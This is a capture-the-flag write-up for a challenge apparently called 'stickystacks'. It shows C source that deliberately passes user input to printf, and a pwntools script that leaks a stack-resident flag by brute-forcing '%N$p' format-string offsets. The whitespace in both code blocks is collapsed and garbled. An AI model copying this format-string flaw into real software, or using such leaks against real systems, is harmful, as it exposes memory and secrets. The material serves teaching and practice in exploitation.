I made a program that holds a lot of secrets... maybe even a flag!
Source
#include<stdio.h>#include<stdlib.h>#include<string.h>typedefstruct Secrets {char secret1[50];char password[50];char birthday[50];char ssn[50];char flag[128];} Secrets;intvuln(){char name[7]; Secrets boshsecrets = { .secret1 ="CTFs are fun!", .password="password123", .birthday ="1/1/1970", .ssn ="123-456-7890", }; FILE *f =fopen("flag.txt","r");if (!f) {printf("Missing flag.txt. Contact an admin if you see this on remote.");exit(1); }fgets(&(boshsecrets.flag),128, f);puts("Name: ");fgets(name,6, stdin);printf("Welcome, ");printf(name);printf("\n");return0;}intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);vuln();return0;}
Solution
from pwn import*defstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify your GDB script here for debugginggdbscript ='''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./stickystacks'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================flag =b""# Let's fuzz x valuesfor i inrange(33, 43):try: p =start()# Format the counter# e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int p.sendlineafter(':', '%{}$p'.format(i)) p.recvuntil('Welcome, ')# Receive the response result = p.recvuntil('\n') flag_segment =unhex(result.strip().decode()[2:])print(str(i) +": "+str(flag_segment)) flag += flag_segment[::-1]# Reverse and decodeexceptEOFError:passsuccess(flag)